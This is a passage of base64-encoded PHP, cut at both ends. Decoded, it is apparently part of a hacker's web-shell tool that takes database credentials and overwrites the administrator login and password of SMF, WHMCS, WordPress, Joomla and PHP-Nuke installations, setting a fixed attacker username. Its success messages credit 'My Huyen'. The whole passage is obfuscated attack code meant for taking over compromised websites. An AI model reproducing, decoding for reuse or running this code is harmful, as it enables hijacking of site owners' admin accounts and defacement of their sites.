sgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgdXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT10ZXh0IG5hbWU9dXJzbWYgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIEUtbWFpbCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXlvdXItZW1haWxAeHh4LmNvbSB0eXBlPXRleHQgbmFtZT1lbXNtZiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcmVmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1zbWZfIHR5cGU9dGV4dCBuYW1lPXByc21mIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NoYW5nZScgPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwp9ZWxzZXsKJGRiaHNtZiA9ICRfUE9TVFsnZGJoc21mJ107CiRkYm5zbWYgID0gJF9QT1NUWydkYm5zbWYnXTsKJGRidXNtZiA9ICRfUE9TVFsnZGJ1c21mJ107CiRkYnBzbWYgID0gJF9QT1NUWydkYnBzbWYnXTsKICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHNtZiwkZGJ1c21mLCRkYnBzbWYpOwogICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYm5zbWYpOwoKJHVyc21mPXN0cl9yZXBsYWNlKCJcJyIsIiciLCR1cnNtZik7CiRzZXRfdXJzbWYgPSAkX1BPU1RbJ3Vyc21mJ107CgokZW1zbWY9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJGVtc21mKTsKJHNldF9lbXNtZiA9ICRfUE9TVFsnZW1zbWYnXTsKCiRzbWZfcHJlZml4ID0gJF9QT1NUWydwcnNtZiddOwoKJHRhYmxlX25hbWUzID0gJHNtZl9wcmVmaXguIm1lbWJlcnMiIDsKCiRsZWNvbmd0aGllbjcgPSAiVVBEQVRFICR0YWJsZV9uYW1lMyBTRVQgbWVtYmVyX25hbWUgPSciLiRzZXRfdXJzbWYuIicgV0hFUkUgaWRfbWVtYmVyID0nMSciOwokbGVjb25ndGhpZW44ID0gIlVQREFURSAkdGFibGVfbmFtZTMgU0VUIGVtYWlsX2FkZHJlc3MgPSciLiRzZXRfZW1zbWYuIicgV0hFUkUgaWRfbWVtYmVyID0nMSciOwoKJGxlY29uZ3RoaWVuNyA9ICJVUERBVEUgJHRhYmxlX25hbWUzIFNFVCBtZW1iZXJOYW1lID0nIi4kc2V0X3Vyc21mLiInIFdIRVJFIElEX01FTUJFUiA9JzEnIjsKJGxlY29uZ3RoaWVuOCA9ICJVUERBVEUgJHRhYmxlX25hbWUzIFNFVCBlbWFpbEFkZHJlc3MgPSciLiRzZXRfZW1zbWYuIicgV0hFUkUgSURfTUVNQkVSID0nMSciOwoKJG9rND1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuNyk7CiRvazQ9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjgpOwoKaWYoJG9rNCl7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1NNRiB1cGRhdGUgc3VjY2VzcyAuIENvcHlyaWdodCBCeSBNeSBIdXllbiA7KScpOzwvc2NyaXB0PiI7Cn0KfQoKLy9XSE1DUwppZiAoaXNzZXQoJF9QT1NUWyd3aG1jcyddKSkKewplY2hvICI8Y2VudGVyPjx0YWJsZSBib3JkZXI9MCB3aWR0aD0nMTAwJSc+Cjx0cj48dGQ+CjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgV0hNQ1MgSW5mbzxicj5QYXRjaCBDb250cm9sIFBhbmVsIDogW3BhdGNoXS9hZG1pbjxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vY29uZmlndXJhdGlvbi5waHA8L2ZvbnQ+PC9jZW50ZXI+CiAgICA8Y2VudGVyPjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbj0nJz48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPk15c3FsIEhvc3Q8L2ZvbnQ+PGJyPjxpbnB1dCB2YWx1ZT1sb2NhbGhvc3QgdHlwZT10ZXh0IG5hbWU9ZGJod2htIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT13aG1jcyB0eXBlPXRleHQgbmFtZT1kYm53aG0gc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgdXNlcjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXJvb3QgdHlwZT10ZXh0IG5hbWU9ZGJ1d2htIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHdobSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgdXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT10ZXh0IG5hbWU9dXJ3aG0gc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHBhc3N3b3JkIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXBhc3N3b3JkIG5hbWU9cHN3aG0gc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7Cn1lbHNlewokZGJod2htID0gJF9QT1NUWydkYmh3aG0nXTsKJGRibndobSAgPSAkX1BPU1RbJ2RibndobSddOwokZGJ1d2htID0gJF9QT1NUWydkYnV3aG0nXTsKJGRicHdobSAgPSAkX1BPU1RbJ2RicHdobSddOwogICAgICAgICBAbXlzcWxfY29ubmVjdCgkZGJod2htLCRkYnV3aG0sJGRicHdobSk7CiAgICAgICAgIEBteXNxbF9zZWxlY3RfZGIoJGRibndobSk7CgokdXJ3aG09c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHVyd2htKTsKJHNldF91cndobSA9ICRfUE9TVFsndXJ3aG0nXTsKCiRwc3dobT1zdHJfcmVwbGFjZSgiXCciLCInIiwkcHN3aG0pOwokcGFzc193aG0gPSAkX1BPU1RbJ3Bzd2htJ107CiRzZXRfcHN3aG0gPSBtZDUoJHBhc3Nfd2htKTsKCiRsZWNvbmd0aGllbjkgPSAiVVBEQVRFIHRibGFkbWlucyBTRVQgdXNlcm5hbWUgPSciLiRzZXRfdXJ3aG0uIicgV0hFUkUgaWQgPScxJyI7CiRsZWNvbmd0aGllbjEwID0gIlVQREFURSB0YmxhZG1pbnMgU0VUIHBhc3N3b3JkID0nIi4kc2V0X3Bzd2htLiInIFdIRVJFIGlkID0nMSciOwoKJG9rNT1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuOSk7CiRvazU9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjEwKTsKCmlmKCRvazUpewplY2hvICI8c2NyaXB0PmFsZXJ0KCdXSE1DUyB1cGRhdGUgc3VjY2VzcyAuIENvcHlyaWdodCBCeSBNeSBIdXllbiA7KScpOzwvc2NyaXB0PiI7Cn0KfQoKLy9Xb3JkUHJlc3MKaWYgKGlzc2V0KCRfUE9TVFsnd29yZHByZXNzJ10pKQp7CmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4KPHRyPjx0ZD4KPGNlbnRlcj48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBXb3JkUHJlc3MgSW5mbzxicj5QYXRjaCBDb250cm9sIFBhbmVsIDogW3BhdGNoXS93cC1hZG1pbjxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vd3AtY29uZmlnLnBocDwvZm9udD48L2NlbnRlcj4KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmh3cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBuYW1lPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9d29yZHByZXNzIHR5cGU9dGV4dCBuYW1lPWRibndwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidXdwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHdwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSB1c2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXRleHQgbmFtZT11cndwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBwYXNzd29yZCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT1wYXNzd29yZCBuYW1lPXBzd3Agc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+VGFibGUgcHJlZml4PGJyPjwvZm9udD48aW5wdXQgdmFsdWU9d3BfIHR5cGU9dGV4dCBuYW1lPXByd3Agc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7Cn1lbHNlewokZGJod3AgPSAkX1BPU1RbJ2RiaHdwJ107CiRkYm53cCAgPSAkX1BPU1RbJ2RibndwJ107CiRkYnV3cCA9ICRfUE9TVFsnZGJ1d3AnXTsKJGRicHdwICA9ICRfUE9TVFsnZGJwd3AnXTsKICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHdwLCRkYnV3cCwkZGJwd3ApOwogICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYm53cCk7CgokdXJ3cD1zdHJfcmVwbGFjZSgiXCciLCInIiwkdXJ3cCk7CiRzZXRfdXJ3cCA9ICRfUE9TVFsndXJ3cCddOwoKJHBzd3A9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHBzd3ApOwokcGFzc193cCA9ICRfUE9TVFsncHN3cCddOwokc2V0X3Bzd3AgPSBtZDUoJHBhc3Nfd3ApOwoKJHdwX3ByZWZpeCA9ICRfUE9TVFsncHJ3cCddOwoKJHRhYmxlX25hbWU0ID0gJHdwX3ByZWZpeC4idXNlcnMiIDsKCiRsZWNvbmd0aGllbjExID0gIlVQREFURSAkdGFibGVfbmFtZTQgU0VUIHVzZXJfbG9naW4gPSciLiRzZXRfdXJ3cC4iJyBXSEVSRSBJRCA9JzEnIjsKJGxlY29uZ3RoaWVuMTIgPSAiVVBEQVRFICR0YWJsZV9uYW1lNCBTRVQgdXNlcl9wYXNzID0nIi4kc2V0X3Bzd3AuIicgV0hFUkUgSUQgPScxJyI7Cgokb2s2PUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW4xMSk7CiRvazY9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjEyKTsKCmlmKCRvazYpewplY2hvICI8c2NyaXB0PmFsZXJ0KCdXb3JkUHJlc3MgdXBkYXRlIHN1Y2Nlc3MgLiBDb3B5cmlnaHQgQnkgTXkgSHV5ZW4gOyknKTs8L3NjcmlwdD4iOwp9Cn0KCi8vSm9vbWxhCmlmIChpc3NldCgkX1BPU1RbJ2pvb21sYSddKSkKewplY2hvICI8Y2VudGVyPjx0YWJsZSBib3JkZXI9MCB3aWR0aD0nMTAwJSc+Cjx0cj48dGQ+CjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgSm9vbWxhIEluZm88YnI+UGF0Y2ggQ29udHJvbCBQYW5lbCA6IFtwYXRjaF0vYWRtaW5pc3RyYXRvcjxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vY29uZmlndXJhdGlvbi5waHA8L2ZvbnQ+PC9jZW50ZXI+CiAgICA8Y2VudGVyPjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbj0nJz48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPk15c3FsIEhvc3Q8L2ZvbnQ+PGJyPjxpbnB1dCB2YWx1ZT1sb2NhbGhvc3QgdHlwZT10ZXh0IG5hbWU9ZGJoam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1qb29tbGEgdHlwZT10ZXh0IG5hbWU9ZGJuam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidWpvcyBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBwYXNzd29yZDxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWFkbWluIHR5cGU9cGFzc3dvcmQgbmFtZT1kYnBqb3Mgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHVzZXIgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1LeW1Mam5rIHR5cGU9dGV4dCBuYW1lPXVyam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBwYXNzd29yZCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT1wYXNzd29yZCBuYW1lPXBzam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPlRhYmxlIHByZWZpeDxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWpvc18gdHlwZT10ZXh0IG5hbWU9cHJqb3Mgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7Cn1lbHNlewokZGJoam9zID0gJF9QT1NUWydkYmhqb3MnXTsKJGRibmpvcyAgPSAkX1BPU1RbJ2RibmpvcyddOwokZGJ1am9zID0gJF9QT1NUWydkYnVqb3MnXTsKJGRicGpvcyAgPSAkX1BPU1RbJ2RicGpvcyddOwogICAgICAgICBAbXlzcWxfY29ubmVjdCgkZGJoam9zLCRkYnVqb3MsJGRicGpvcyk7CiAgICAgICAgIEBteXNxbF9zZWxlY3RfZGIoJGRibmpvcyk7CgokdXJqb3M9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHVyam9zKTsKJHNldF91cmpvcyA9ICRfUE9TVFsndXJqb3MnXTsKCiRwc2pvcz1zdHJfcmVwbGFjZSgiXCciLCInIiwkcHNqb3MpOwokcGFzc19qb3MgPSAkX1BPU1RbJ3Bzam9zJ107CiRzZXRfcHNqb3MgPSBtZDUoJHBhc3Nfam9zKTsKCiRqb3NfcHJlZml4ID0gJF9QT1NUWydwcmpvcyddOwoKJHRhYmxlX25hbWU1ID0gJGpvc19wcmVmaXguInVzZXJzIiA7CgokbGVjb25ndGhpZW4xMyA9ICJVUERBVEUgJHRhYmxlX25hbWU1IFNFVCB1c2VybmFtZSA9JyIuJHNldF91cmpvcy4iJyBXSEVSRSBpZCA9JzYyJyI7CiRsZWNvbmd0aGllbjE0ID0gIlVQREFURSAkdGFibGVfbmFtZTUgU0VUIHBhc3N3b3JkID0nIi4kc2V0X3Bzam9zLiInIFdIRVJFIGlkID0nNjInIjsKCiRvazc9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjEzKTsKJG9rNz1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMTQpOwoKaWYoJG9rNyl7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ0pvb21sYSB1cGRhdGUgc3VjY2VzcyAuIENvcHlyaWdodCBCeSBNeSBIdXllbiA7KScpOzwvc2NyaXB0PiI7Cn0KfQoKLy9QSFAtTlVLRQppZiAoaXNzZXQoJF9QT1NUWydwaHAtbnVrZSddKSkKewplY2hvICI8Y2VudGVyPjx0YWJsZSBib3JkZXI9MCB3aWR0aD0nMTAwJSc+Cjx0cj48dGQ+CjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgUEhQLU5VS0UgSW5mbzxicj5QYXRjaCBDb250cm9sIFBhbmVsIDogW3BhdGNoXS9hZG1pbi5waHA8YnI+UGF0aCBDb25maWcgOiBbcGF0Y2hdL2NvbmZpZy5waHA8L2ZvbnQ+PC9jZW50ZXI+CiAgICA8Y2VudGVyPjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbj0nJz48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPk15c3FsIEhvc3Q8L2ZvbnQ+PGJyPjxpbnB1dCB2YWx1ZT1sb2NhbGhvc3QgdHlwZT10ZXh0IG5hbWU9ZGJocG5rIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1waHBudWtlIHR5cGU9dGV4dCBuYW1lPWRibnBuayBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiB1c2VyPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9cm9vdCB0eXBlPXRleHQgbmFtZT1kYnVwbmsgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgcGFzc3dvcmQ8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1hZG1pbiB0eXBlPXBhc3N3b3JkIG5hbWU9ZGJwcG5rIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSB1c2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXRleHQgbmFtZT11cnBuayBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgcGFzc3dvcmQgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1LeW1Mam5rIHR5cGU9cGFzc3dvcmQgbmFtZT1wc3BuayBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcm